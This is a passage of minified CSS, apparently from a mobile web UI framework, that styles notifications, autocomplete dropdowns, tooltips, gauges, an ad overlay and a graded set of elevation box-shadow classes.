.toolbar{background-color:rgba(0,0,0,.95)}.md.device-iphone-x .photo-browser-captions{bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.md.device-iphone-x .toolbar~.photo-browser-captions{bottom:calc(48px + constant(safe-area-inset-bottom));bottom:calc(48px + env(safe-area-inset-bottom))}.notification{position:absolute;left:0;top:0;width:100%;z-index:20000;font-size:14px;margin:0;border:none;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;direction:ltr}.notification-icon{font-size:0}.notification-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.notification-close-button{margin-left:auto;cursor:pointer}html.with-statusbar.device-ios .notification,html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification{margin-top:20px}html.with-statusbar.device-android .notification,html.with-statusbar.md:not(.device-ios):not(.device-android) .notification{margin-top:24px}html.with-statusbar.device-iphone-x .notification{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}.ios .notification{left:8px;top:8px;width:calc(100% - 16px);background:rgba(250,250,250,.95);border-radius:12px;-webkit-box-shadow:0 5px 25px -10px rgba(0,0,0,.7);box-shadow:0 5px 25px -10px rgba(0,0,0,.7);padding:10px;color:#000;max-width:568px;-webkit-transition-duration:450ms;transition-duration:450ms;-webkit-transform:translate3d(0,-200%,0);transform:translate3d(0,-200%,0)}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.ios .notification{background:rgba(255,255,255,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}@media (min-width:584px){.ios .notification{left:50%;width:568px;margin-left:-284px}}.ios .notification.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.ios .notification.modal-out{-webkit-transform:translate3d(0,-200%,0);transform:translate3d(0,-200%,0)}.ios .notification-icon{width:20px;height:20px;line-height:20px;margin-right:8px}.ios .notification-icon i{width:20px;height:20px;font-size:20px}.ios .notification-title{font-size:13px;text-transform:uppercase;letter-spacing:.02em}.ios .notification-subtitle{font-size:15px;font-weight:600;line-height:1.35}.ios .notification-text{font-size:15px;line-height:1.2}.ios .notification-header+.notification-content{margin-top:10px}.ios .notification-title-right-text{color:#444a51;font-size:13px;margin-right:6px;margin-left:auto}.ios .notification-title-right-text+.notification-close-button{margin-left:10px}.ios .notification-close-button{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%2044%2044'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cg%20stroke%3D'none'%20stroke-width%3D'1'%20fill%3D'none'%20fill-rule%3D'evenodd'%3E%3Cpath%20d%3D'M22.5%2C20.3786797%20L14.7218254%2C12.6005051%20L12.6005051%2C14.7218254%20L20.3786797%2C22.5%20L12.6005051%2C30.2781746%20L14.7218254%2C32.3994949%20L22.5%2C24.6213203%20L30.2781746%2C32.3994949%20L32.3994949%2C30.2781746%20L24.6213203%2C22.5%20L32.3994949%2C14.7218254%20L30.2781746%2C12.6005051%20L22.5%2C20.3786797%20Z%20M22%2C44%20C34.1502645%2C44%2044%2C34.1502645%2044%2C22%20C44%2C9.8497355%2034.1502645%2C0%2022%2C0%20C9.8497355%2C0%200%2C9.8497355%200%2C22%20C0%2C34.1502645%209.8497355%2C44%2022%2C44%20Z'%20fill%3D'%23000000'%3E%3C%2Fpath%3E%3C%2Fg%3E%3C%2Fsvg%3E");width:20px;height:20px;background-position:center top;background-repeat:no-repeat;background-size:100% auto;position:relative;opacity:.3;-webkit-transition-duration:.3s;transition-duration:.3s}.ios .notification-close-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;opacity:.1}.ios .notification-close-button:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.md .notification{left:0;top:0;width:100%;background:#fff;border-radius:0;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.22),0 1px 2px rgba(0,0,0,.24);box-shadow:0 2px 4px rgba(0,0,0,.22),0 1px 2px rgba(0,0,0,.24);padding:16px;color:#000;max-width:568px}@media (min-width:568px){.md .notification{left:50%;margin-left:-284px}}.md .notification.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:notification-md-in .4s ease-out;animation:notification-md-in .4s ease-out}.md .notification.modal-in.notification-transitioning{-webkit-transition-duration:.2s;transition-duration:.2s}.md .notification.modal-out{-webkit-animation:none;animation:none;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}.md .notification-icon{width:16px;height:16px;margin-right:8px;line-height:16px}.md .notification-icon i{width:16px;height:16px;font-size:16px}.md .notification-title{font-size:12px;line-height:1;color:#2196f3}.md .notification-subtitle{font-size:14px;line-height:1.35;color:#212121}.md .notification-subtitle+.notification-text{margin-top:2px}.md .notification-text{font-size:14px;line-height:1.35;color:#757575}.md .notification-header+.notification-content{margin-top:6px}.md .notification-title-right-text{font-size:12px;color:#757575;margin-left:4px}.md .notification-title-right-text:before{content:'';width:3px;height:3px;border-radius:50%;display:inline-block;vertical-align:middle;margin-right:4px;background:#757575}.md .notification-close-button{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");width:16px;height:16px;background-position:center top;background-repeat:no-repeat;background-size:100% auto;position:relative;-webkit-transition-duration:.3s;transition-duration:.3s}.md .notification-close-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .notification-close-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .notification-close-button:before{width:48px;height:48px;left:50%;top:50%;margin-left:-24px;margin-top:-24px}.md .notification-close-button:after{content:'';position:absolute;left:50%;top:50%;width:48px;height:48px;margin-left:-22px;margin-top:-22px}@-webkit-keyframes notification-md-in{0%{-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}50%{-webkit-transform:translate3d(0,10%,0);transform:translate3d(0,10%,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes notification-md-in{0%{-webkit-transform:translate3d(0,-150%,0);transform:translate3d(0,-150%,0)}50%{-webkit-transform:translate3d(0,10%,0);transform:translate3d(0,10%,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.autocomplete-page .autocomplete-found{display:block}.autocomplete-page .autocomplete-not-found{display:none}.autocomplete-page .autocomplete-values{display:block}.autocomplete-page .list ul:empty{display:none}.autocomplete-preloader:not(.autocomplete-preloader-visible){visibility:hidden}.autocomplete-preloader:not(.autocomplete-preloader-visible),.autocomplete-preloader:not(.autocomplete-preloader-visible) *{-webkit-animation:none;animation:none}.autocomplete-dropdown{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;z-index:500;width:100%;right:0}.autocomplete-dropdown .autocomplete-dropdown-inner{position:relative;overflow:auto;-webkit-overflow-scrolling:touch;height:100%;z-index:1}.autocomplete-dropdown .autocomplete-preloader{display:none;position:absolute;bottom:100%;width:20px;height:20px}.autocomplete-dropdown .autocomplete-preloader-visible{display:block}.autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#a9a9a9}.autocomplete-dropdown .list{margin:0}.autocomplete-dropdown .list ul{background:0 0!important}.autocomplete-dropdown .list ul:before{display:none!important}.autocomplete-dropdown .list ul:after{display:none!important}.list .item-content-dropdown-expanded .item-title.item-label{width:0;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;overflow:hidden}.list .item-content-dropdown-expanded .item-title.item-label+.item-input-wrap{margin-right:0}.list .item-content-dropdown-expanded .item-input-wrap{width:100%}.ios .autocomplete-dropdown{-webkit-box-shadow:0 3px 3px rgba(0,0,0,.2);box-shadow:0 3px 3px rgba(0,0,0,.2)}.ios .autocomplete-dropdown .autocomplete-preloader{left:15px;margin-bottom:12px}.ios .autocomplete-dropdown .list b{font-weight:600}.ios .searchbar-input-wrap .autocomplete-dropdown{margin-top:-32px;top:100%;background:#e8e8ea;z-index:20;border-radius:8px}.ios .searchbar-input-wrap .autocomplete-dropdown .item-content{padding-right:28px}.ios .searchbar-input-wrap .autocomplete-dropdown li:last-child{border-radius:0 0 8px 8px;position:relative;overflow:hidden}.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-inner{padding-top:32px}.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#939398}.ios .theme-dark .autocomplete-dropdown{background-color:#1c1c1d}.ios .theme-dark .searchbar-input-wrap .autocomplete-dropdown{background-color:#171717}.md .autocomplete-page .navbar .autocomplete-preloader{margin-left:16px}.md .autocomplete-dropdown{-webkit-box-shadow:0 2px 2px rgba(0,0,0,.25);box-shadow:0 2px 2px rgba(0,0,0,.25)}.md .autocomplete-dropdown .autocomplete-preloader{left:16px;margin-bottom:8px}.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-gap,.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-half-circle{border-width:3px}.md .autocomplete-dropdown .list{color:rgba(0,0,0,.54)}.md .autocomplete-dropdown .list b{font-weight:400;color:#212121}.md .searchbar-input-wrap .autocomplete-dropdown .item-content{padding-right:73px}.md .searchbar-input-wrap .autocomplete-dropdown li:last-child{border-radius:0 0 8px 8px;position:relative;overflow:hidden}.md .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#939398}.tooltip{position:absolute;z-index:20000;background:rgba(0,0,0,.87);border-radius:4px;padding:8px 16px;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:1.2;opacity:0;-webkit-transform:scale(.9);transform:scale(.9);-webkit-transition-duration:150ms;transition-duration:150ms;-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:opacity,transform;transition-property:opacity,transform,-webkit-transform;z-index:99000;font-weight:500}.tooltip.tooltip-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.tooltip.tooltip-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.device-desktop .tooltip{font-size:12px;padding:6px 8px}.gauge{position:relative;text-align:center;margin-left:auto;margin-right:auto;display:inline-block}.gauge svg,.gauge-svg{max-width:100%;height:auto}.gauge svg circle,.gauge svg path,.gauge-svg circle,.gauge-svg path{-webkit-transition-duration:.4s;transition-duration:.4s}iframe#viAd{z-index:12900!important;background:#000!important}.vi-overlay{background:rgba(0,0,0,.85);z-index:13100;position:absolute;left:0;top:0;width:100%;height:100%;border-radius:3px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.vi-overlay{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.vi-overlay .vi-overlay-text{text-align:center;color:#fff;max-width:80%}.vi-overlay .vi-overlay-text+.vi-overlay-play-button{margin-top:15px}.vi-overlay .vi-overlay-play-button{width:44px;height:44px;border-radius:50%;border:2px solid #fff;position:relative}.vi-overlay .vi-overlay-play-button.active-state{opacity:.55}.vi-overlay .vi-overlay-play-button:before{content:'';width:0;height:0;border-top:8px solid transparent;border-bottom:8px solid transparent;border-left:14px solid #fff;position:absolute;left:50%;top:50%;margin-left:2px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.elevation-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.elevation-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.elevation-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.elevation-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.elevation-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.elevation-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.elevation-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.elevation-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.elevation-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.elevation-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.elevation-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.elevation-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.elevation-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.elevation-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.elevation-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.elevation-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.elevation-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.elevation-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.elevation-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.elevation-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.elevation-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.elevation-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.elevation-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.elevation-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.elevation-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-0:hover{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.device-desktop .elevation-hover-1:hover{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-2:hover{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-3:hover{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-4:hover{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-5:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-6:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-7:hover{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-8:hover{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-9:hover{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-10:hover{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-11:hover{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-12:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-13:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-14:hover{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-15:hover{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-16:hover{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-17:hover{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-18:hover{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-19:hover{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-20:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-21:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-22:hover{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-23:hover{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-24:hover{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px 